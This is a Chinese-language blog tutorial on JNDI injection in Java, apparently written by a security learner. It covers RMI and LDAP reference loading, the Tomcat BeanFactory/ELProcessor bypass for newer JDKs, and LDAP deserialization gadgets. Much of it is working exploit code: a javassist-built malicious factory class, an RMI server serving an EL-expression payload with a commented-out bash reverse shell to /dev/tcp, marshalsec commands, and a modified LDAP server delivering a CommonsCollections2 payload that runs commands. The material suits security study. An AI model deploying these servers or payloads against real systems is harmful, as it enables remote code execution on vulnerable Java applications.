JNDI注入浅析

文章发布时间:

最后更新时间:

写在前面

最近打算系统化梳理一下JAVA安全的知识点,本节知识点为JNDI,之前看了好多篇还并不是完全明白,这次再看加深印象。并且想自己动手写一个JNDI-Exploit,锻炼自己的工程化代码能力

什么是JNDI

全称:JAVA命名和目录接口(Java Naming and Directory Interface),通过调用JNDI的API可以定位资源和其他程序对象。现有可访问的目录和服务有JDBC LDAP RMI DNS NIS CORBA

命名 => Naming Service

命名服务主要是将名称和对象相关联,这里的对象并不是实体,而是对象的引用,其中包含着如何去访问对象的信息。

名称系统的几个重要概念

Bindings: 表示一个名称和对应对象的绑定关系
Context:一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象References: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。

目录 => Directory Service

目录服务是命名服务的扩展,它允许对象还可以具有属性。提供在目录中进行CRUD对象操作

由此,我们可以通过两种方式使用JNDI:

  1. 常规方式使用名称服务
  2. 使用目录服务作为对象存储的系统,即用目录服务来存储和获取Java对象

我们可以通过统一的API来访问不同的目录服务实现,架构如下:

其中的API分为应用层接口SPI

image-20230107183720435

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装

一些需要的类

  • InitialContext

    构造方法:

    1
    2
    3
    4
    5
    6
    //构建一个初始上下文。
    InitialContext()
    //构造一个初始上下文,并选择不初始化它。
    InitialContext(boolean lazy)
    //使用提供的环境构建初始上下文。
    InitialContext(Hashtable<?,?> environment)

    常用方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    //将名称绑定到对象。 
    bind(Name name, Object obj)
    //枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
    list(String name)
    //检索命名对象。
    lookup(String name)
    //将名称绑定到对象,覆盖任何现有绑定。
    rebind(String name, Object obj)
    //取消绑定命名对象。
    unbind(String name)
  • Reference

    对象的引用类

    构造方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    //为类名为“className”的对象构造一个新的引用。
    Reference(String className)
    //为类名为“className”的对象和地址构造一个新引用。
    Reference(String className, RefAddr addr)
    //为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
    Reference(String className, RefAddr addr, String factory, String factoryLocation)
    //为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
    Reference(String className, String factory, String factoryLocation)

    /*
    参数:
    className 远程加载时所使用的类名
    factory 加载的class中需要实例化类的名称
    factoryLocation 提供classes数据的地址可以是file/ftp/http协议
    */

    常用方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    //将地址添加到索引posn的地址列表中。
    void add(int posn, RefAddr addr)
    //将地址添加到地址列表的末尾。
    void add(RefAddr addr)
    //从此引用中删除所有地址。
    void clear()
    //检索索引posn上的地址。
    RefAddr get(int posn)
    //检索地址类型为“addrType”的第一个地址。
    RefAddr get(String addrType)
    //检索本参考文献中地址的列举。
    Enumeration<RefAddr> getAll()
    //检索引用引用的对象的类名。
    String getClassName()
    //检索此引用引用的对象的工厂位置。
    String getFactoryClassLocation()
    //检索此引用引用对象的工厂的类名。
    String getFactoryClassName()
    //从地址列表中删除索引posn上的地址。
    Object remove(int posn)
    //检索此引用中的地址数。
    int size()
    //生成此引用的字符串表示形式。
    String toString()

JNDI Reference 注入

前因:为了避免每次在命名服务绑定Java对象时都需要序列化大数据并传输,因此改为换成对象引用的方式。

对象就可以通过绑定一个可以被命名管理器(Naming Manager)解码并解析为原始对象的引用,间接地存储在命名或目录服务中。

引用由Reference来表示,里面包括一个RefAddress地址有序列表和所引用的对象信息,包括类名、创建对象的ObjectFactory类的名称和地址

image-20230107191026654

Reference可以使用ObjectFactory来构造对象。当使用lookup()方法查找对象时,Reference将使用提供的ObjectFactory类的加载地址来加载ObjectFactory类,ObjectFactory类将构造出需要的对象

这也是JNDI的利用原理,当lookup参数可控时,便可向指定位置加载恶意对象

具体流程如下,这里以RMI服务为例

首先服务端绑定引用到注册中心,并且该引用对象中工厂类位置为恶意class所在位置

1
Reference reference = new Reference("Exploit","Exploit","http://evilHost/" );     registry.bind("Exploit", new ReferenceWrapper(reference));

客户端通过rmi协议发起请求,即可造成恶意文件,实例化类时造成RCE

1
2
Context ctx = new InitialContext();
ctx.lookup("rmi://evilHost/Exploit");

JNDI-RMI

  • 低版本JDK

    Evil Server 顺便练了一下javassit生成字节码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    public class EvilServer {
    public static void main(String[] args) throws Exception {
    makeEvilClass();
    Registry registry = LocateRegistry.createRegistry(1099);

    String factoryUrl = "http://localhost:1098/";
    Reference reference = new Reference("EvilClass", "EvilClass", factoryUrl);
    ReferenceWrapper wrapper = new ReferenceWrapper(reference);
    registry.bind("Foo", wrapper);

    System.out.println("Server ready, factoryUrl:" + factoryUrl);
    }

    public static void makeEvilClass() throws Exception {
    ClassPool pool = ClassPool.getDefault();

    CtClass cc = pool.makeClass("EvilClass");
    cc.setInterfaces(new CtClass[]{ pool.get("javax.naming.spi.ObjectFactory") });

    String code = "{try{System.out.println(\"EvilClass: \" + $1);} catch(Exception e){}}";
    CtMethod ctMethod = new CtMethod(CtClass.voidType, "log", new CtClass[]{pool.get("java.lang.String")}, cc);
    ctMethod.setModifiers(Modifier.STATIC);
    ctMethod.setBody(code);
    cc.addMethod(ctMethod);

    CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
    cons.setBody("{EvilClass.log(\"constructor\");}");
    cc.addConstructor(cons);

    CtConstructor staticCode = cc.makeClassInitializer();
    staticCode.setBody("{EvilClass.log(\"static block\");}");

    CtClass returnType = pool.get("java.lang.Object");
    CtClass[] parameters = {pool.get("java.lang.Object"), pool.get("javax.naming.Name"), pool.get("javax.naming.Context")};
    CtMethod ctMethod1 = new CtMethod(returnType, "getObjectInstance", parameters, cc);
    ctMethod1.addParameter(pool.get("java.util.Hashtable"));
    ctMethod1.setBody("{EvilClass.log(\"getObjectInstance\"); return null;}");
    cc.addMethod(ctMethod1);

    cc.writeFile("D:\\ctf\\JNDI\\src\\main\\java\\");
    }
    }

    生成的class文件如下

    image-20230107220136290

Client:

1
2
3
4
5
6
7
8
9
10
public class Client {
public static void main(String[] args) {
try {
Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/Foo");
System.out.println("ret" + ret);
}catch (NamingException e) {
e.printStackTrace();
}
}
}

服务端启动恶意服务器,客户端运行

image-20230107220218096

各个代码块执行顺序

1
2
static在类加载的时候执行
代码块和无参构造方法在clas.newInstance()时执行
  • 高版本JDK限制

    JDK 6u1327u1228u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false

    如果想要直接运行,如要添加参数

    1
    -D com.sun.jndi.rmi.object.trustURLCodebase=true

    看下报错:

    image-20230107220756804

    可以看到在com.sun.jndi.rmi.registry.RegistryContext#decodeObject方法中,由于高版本trustURLCodebase默认为false,进入分支抛出异常

    image-20230107221223488

  • 高版本JDK绕过

    绕过方式可以针对条件句的三个子句尝试进行利用

    • 令var8也就是ref为空,需要让其既不是Reference类也不是Referenceable类,那么就只能直接用原始对象了,在RMI下不好利用

      image-20230107221541609

    • ref.getFactoryClassLocation()返回空值,也就是设置ref的classFactoryLocation属性为空,客户端不再从远程加载class字节码

    • 第三项就是正常设置参数

    如果按照第二个思路来的话,下一个执行为NamingManager.getObjectInstance(),我们跟进。

    这里会发现,如果ref不为空的话,先获取到工厂类名然后会直接尝试实例化工厂类,如果不为null将会进一步调用工厂类的getObjectInstance()方法

    image-20230107222946308

    按照之前实验的客户端在lookup后的代码块执行顺序,我们只要能在这几个地方其中一个触发payload就行了

    调用栈如下:

    1
    2
    3
    4
    5
    6
    7
    InitialContext#lookup()
    RegistryContext#lookup()
    RegistryContext#decodeObject()
    NamingManager#getObjectInstance()
    objectfactory = NamingManager#getObjectFactoryFromReference()
    Class#newInstance() //-->恶意代码被执行
    或: objectfactory#getObjectInstance() //-->恶意代码被执行

    条件

    • 存在于目标本地的 CLASSPATH

    • 实现 javax.naming.spi.ObjectFactory 接口

    • 至少存在一个 getObjectInstance() 方法

    利用:Tomcat内置类

    依赖

    1
    2
    3
    4
    5
    <dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-el</artifactId>
    <version>8.5.15</version>
    </dependency>

    看下 org.apache.naming.factory.BeanFactory#getObjectInstance()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
    Hashtable<?,?> environment)
    throws NamingException {

    Reference ref = (Reference) obj;
    String beanClassName = ref.getClassName();
    ClassLoader tcl = Thread.currentThread().getContextClassLoader();
    // 1. 反射获取类对象
    if (tcl != null) {
    beanClass = tcl.loadClass(beanClassName);
    } else {
    beanClass = Class.forName(beanClassName);
    }
    // 2. 初始化类实例
    Object bean = beanClass.getConstructor().newInstance();

    // 3. 根据 Reference 的属性查找 setter 方法的别名
    RefAddr ra = ref.get("forceString");
    String value = (String)ra.getContent();

    // 4. 循环解析别名并保存到字典中
    for (String param: value.split(",")) {
    param = param.trim();
    index = param.indexOf('=');
    if (index >= 0) {
    setterName = param.substring(index + 1).trim();
    param = param.substring(0, index).trim();
    } else {
    setterName = "set" +
    param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
    param.substring(1);
    }
    forced.put(param, beanClass.getMethod(setterName, paramTypes));
    }

    // 5. 解析所有属性,并根据别名去调用 setter 方法
    Enumeration<RefAddr> e = ref.getAll();
    while (e.hasMoreElements()) {
    ra = e.nextElement();
    String propName = ra.getType();
    String value = (String)ra.getContent();
    Object[] valueArray = new Object[1];
    Method method = forced.get(propName);
    if (method != null) {
    valueArray[0] = value;
    method.invoke(bean, valueArray);
    }
    // ...
    }
    }

    这里首先会通过反射实例化类,但注意调用的是无参构造方法。接着获取forceString所有的引用地址,并通过逗号分隔,每个分隔值中如果出现等号,则将逗号右侧的值作为setter方法的别名,左侧作为参数引用。之后会将其放入forced这个map当中。后续会调用所有的setter方法,参数为RefAddr的值(单参数),如此我们可以构造来实例化任意类并调用任意方法,只需满足该类含有无参构造函数以及可利用方法为单个参数传递

    1. javax.el.ELProcessor#eval() 可以通过eval方法执行EL表达式

      image-20230108151835588

      因此整个绕过流程,首先ref.getFactoryClassLocation()需要为空,也就是在设置引用类是设置属性factoryClassLocation为空即可;接着在NamingManager.getObjectInstance()成功实例化了本地存在的工厂类org.apache.naming.factory.BeanFactory,后者通过newInstance调用目标类的无参构造创建实例,并通过预设值的setter别名机制调用到javax.el.ELProcessor#eval()从而出发最终的EL表达式注入

      POC构造

      这里的引用类利用了ResourceRef,它是tomcat中对某个资源的引用,构造函数如下

      image-20230108152530879

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      public static void main(String args[]) {
      try {
      Registry registry = LocateRegistry.createRegistry(1099);
      ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
      ref.add(new StringRefAddr("forceString", "x=eval"));
      // ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['bash','-c','bash -i >& /dev/tcp/ip/port 0>&1']).start()\")"));
      ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"open -a Calculator.app\")"));

      ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
      registry.bind("calc", referenceWrapper);
      System.err.println("Server ready");
      } catch (Exception e) {
      System.err.println("Server exception: " + e.toString());
      e.printStackTrace();
      }
      }

      这里x即引用到的参数,其值即为javax.el.ELProcessor#eval()要执行的参数内容

      image-20230108170602879

    2. groovy 这个类之后再看

    绕过总结:

    • Server:

      使用ResourceRef构造的beanClass,这种利用方式构造的beanClassjavax.el.ELProcessor
      ELProcessor中有个eval(String)方法可以执行EL表达式,javax.el.ELProcessorTomcat8中的库,所以仅限Tomcat8及更高版本环境下可以通过该库进行攻击。

    • Client:

      远程 RMI 服务器返回的 Reference 对象中不指定 Factorycodebase,且使用本地的factory,如BeanFactory,以此绕过 trustURLCodebase 报错,执行 NamingManager
      factory的静态代码块、代码块、构造函数和getObjectInstance方法任意一个里面构造payload,即可在 NamingManager 中执行。

    工具:

JNDI_LDAP

LDAP服务是一种树型数据库,其中存在特殊的属性可以用来实现Java对象以序列化数据或者引用的方式来存储,这时如果被客户端解析的话,就可以引起远程代码执行

  • 低版本JDK运行

    工具利用marshalsec开启ldap服务

    1
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/\#EvilClass 8088

    image-20230109233427089

    由于LDAP服务的Reference远程加载Factory类并不是使用的RMI Class Loader机制,因此不受trustURLCodebase限制(8u191)

    恶意类放在服务器下

    image-20230109232706171

    低版本结果

    image-20230109234255832

    高版本结果

    image-20230109234336910

  • 调用流程分析

    前面的调用栈与RMI类似,lookup之后decodeObject

    1
    2
    3
    4
    5
    6
    7
    8
    decodeObject:235, Obj (com.sun.jndi.ldap)
    c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
    p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
    lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
    lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
    lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
    lookup:417, InitialContext (javax.naming)
    main:7, Client

    跟进com.sun.jndi.ldap.Obj.java#decodeObject(),该方法会对服务端传来的数据根据不同的类型进行解码处理,类型可以是序列化数据或者引用对象,这里以引用对象为例

    image-20230109235346841

之后会调用decodeReference()方法,其会获取服务端传来的属性值并构建一个Reference实例

这里便

image-20230110000012777

接着会返回到c_lookup类中执行DirectoryManager#getObjectInstance() 其中var3为构建的引用类对象

image-20230110002710554

这里可以看到首先将参数refInfo强转为Reference类实例,接着调用getFactoryClassName获取工厂类名,然后通过getObjectFactoryFromReference()方法根据工厂类名获取远程调用类。我们看下这里的具体实现

image-20230110003154131

其首先会从本地加载目标类,如果找不到的话再通过制定的工厂类位置来远程加载。整个过程没有URLCodebase限制

image-20230110003430773

  • 高版本限制

    在高版本 JDK 中需要通过 com.sun.jndi.ldap.object.trustURLCodebase 选项去启用。这个限制在 JDK 11.0.18u1917u2016u211 版本时加入,略晚于 RMI 的远程加载限制。

    限制位置加载了helper.loadClass(),也就是VersionHelper12#loadClass()

    image-20230110004205440

  • 其他几种利用方式

    使用序列化数据触发Gadget

    com.sun.jndi.ldap.Obj.java#decodeObject()中通过JAVA_ATTRIBUTES[SERIALIZED_DATA]检测服务端传来的是否为序列化数据,进而调用deserializeObject()方法

    image-20230111103858637

跟进可以看到存在原生反序列化readObject()

image-20230111104131730

改造marchalsec服务端程序的sendResult()部分即可,我这里的序列化数据以CC2为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
public class LDAPRefServer1 {
private static final String LDAP_BASE = "dc=example,dc=com";


public static void main ( String[] args ) {
int port = 8088;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new LDAPRefServer1.OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}

public static Object getPayload() throws Exception {
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 恶意字节码部分构造
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass poc = classPool.makeClass("POC");
poc.setSuperclass(classPool.get(AbstractTranslet));
poc.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] evilCode = poc.toBytecode();
// TemplatesImpl 恶意加载类构造 sink
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{evilCode});

Field field1 = templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl, "whatever");

// 构造gadget来连接 TemplatesImpl#newTransformer
InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator comparator = new TransformingComparator(transformer);

// 连接compare方法
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);

Field field2 = queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, comparator);

Field field3 = queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue, new Object[]{templatesImpl, templatesImpl});

return queue;
}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);

e.addAttribute("javaSerializedData", new Java().marshal(getPayload()));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

触发点2:第一种改造

关注com.sun.jndi.ldap.Obj.java#decodeReference()方法,其在重构Reference对象的基础之上,如果存在javaReferenceAddress属性还会继续构建该属性,满足特定条件可以也触发deserializeObject()方法

image-20230111112155439

源码细节见:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java

需要满足的条件如下:

  1. 第一个符号为分隔符
  2. 第一个分隔符和第二个分隔符之间,表示Referenceposition,需要是整数类型
  3. 第二个分隔符到第三个分隔符之间,表示type
  4. 第三个分隔符为双分隔符,用于表示为内容,之后的内容为序列化数据
  5. 序列化数据需要Base64编码
1
2
3
4
5
6
7
8
9
10
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);

e.addAttribute("javaClassName", "foo");
e.addAttribute("javaReferenceAddress", "$1$String$$"+new Base64Encoder().encode(new Java().marshal(getPayload())));
e.addAttribute("objectClass", "javaNamingReference");
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

JNDI-RMI注入方式有:

  • codebase(JDK 6u1327u1228u113之前可以)
  • 利用本地Class Factory作为Reference Factory

JNDI-LDAP注入方式:

  • codebase(JDK 11.0.18u1917u2016u211之前可以)
  • serialize(两个切入点)

工具化利用

这里参考su18师傅和 welk1n 师傅的工具造个轮子,锻炼一下自己的工程化开发能力

之后新开一帖

参考链接